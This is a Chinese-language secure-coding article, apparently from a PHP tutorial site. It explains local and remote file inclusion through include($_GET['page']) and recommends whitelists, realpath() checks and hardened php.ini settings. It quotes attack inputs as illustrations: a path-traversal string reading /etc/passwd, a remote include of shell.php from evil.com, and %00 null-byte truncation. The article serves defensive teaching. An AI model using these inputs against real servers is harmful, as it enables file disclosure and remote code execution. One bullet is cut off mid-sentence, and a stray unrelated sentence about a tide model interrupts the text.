最安全的做法是使用白名单将变量作为查找键而非路径片段。需用绝对路径、realpath()校验目录范围,关闭allow_url_include,并禁用危险配置。

不安全,直接用变量控制 include、require 等语句是 PHP 文件包含漏洞最典型的成因。
为什么 include($_GET['page']) 会出事
攻击者能完全控制参数值,比如传入 ../../../etc/passwd 就读取系统文件,传入 http://evil.com/shell.php(若 allow_url_include=On)就能远程执行代码。这不是“可能”,而是只要没防护就必然发生。
- PHP 不校验路径合法性,
include会原样拼接并尝试加载 - 相对路径(
../)可穿透目录限制,除非显式拦截或规范化 - 空字节
%00在旧版 PHP(.php 后缀检查 - 即使加了
.php后缀,也可能被filename=test%00.php截断利用
白名单才是唯一靠谱的替代方案
别试图“过滤非法字符”,要彻底放弃动态拼接路径的思路。白名单把用户输入转为预设键,再查表映射到绝对路径:
访问全球海洋潮汐模型。功能包括查询指定日期、时间和地点的潮高、潮汐极值及格点天气数据。
$whitelist = [
'home' => '/var/www/app/pages/home.php',
'about' => '/var/www/app/pages/about.php',
'contact' => '/var/www/app/pages/contact.php'
];
$page = $_GET['page'] ?? '';
if (!isset($whitelist[$page])) {
die('Invalid page');
}
include($whitelist[$page]);
- 键名(如
home)由你定义,和文件系统路径完全解耦 - 用户只能选你允许的几个值,无法构造任意路径
- 值必须是绝对路径,避免
__DIR__拼接时仍受当前工作目录影响 - 不要用
basename()+ 白名单后缀拼接,那还是在做字符串操作,有绕过风险
__DIR__ 拼接也得小心路径归一化
很多人以为写成 include(__DIR__ . '/pages/' . $page) 就安全了,其实不然。PHP 的路径解析会在运行时做归一化(../ 会被向上回溯),只要 $page 含 ../,照样穿透。
- 必须先用
realpath()解析完整路径,再判断是否落在预期目录下 - 示例检查逻辑:
if (0 !== strpos(realpath($full_path), '/var/www/app/pages')) { die(); } - 注意
realpath()对不存在的文件返回false,需提前验证文件存在且可读 - 更稳妥的做法:用白名单 + 绝对路径,绕过所有路径拼接环节
环境配置是最后一道防线
即使代码层做了白名单,也要关掉危险开关,防止配置失误导致绕过:
- 确认
php.ini中allow_url_include = Off(禁用远程包含) - 设置
open_basedir限制脚本只能访问指定目录树 - 禁用高危函数:
disable_functions = include, require, include_once, require_once(不推荐,会影响正常逻辑;更适合禁用exec等系统调用) -
display_errors = Off防止错误信息泄露真实路径
白名单逻辑本身不难写,但开发者常低估路径归一化和旧版 PHP 的截断行为。真正安全的做法,是让变量只作为查找键,而不是路径片段。
php免费学习视频:立即使用
踏上前端学习之旅,开启通往精通之路!从前端基础到项目实战,循序渐进,一步一个脚印,迈向巅峰!










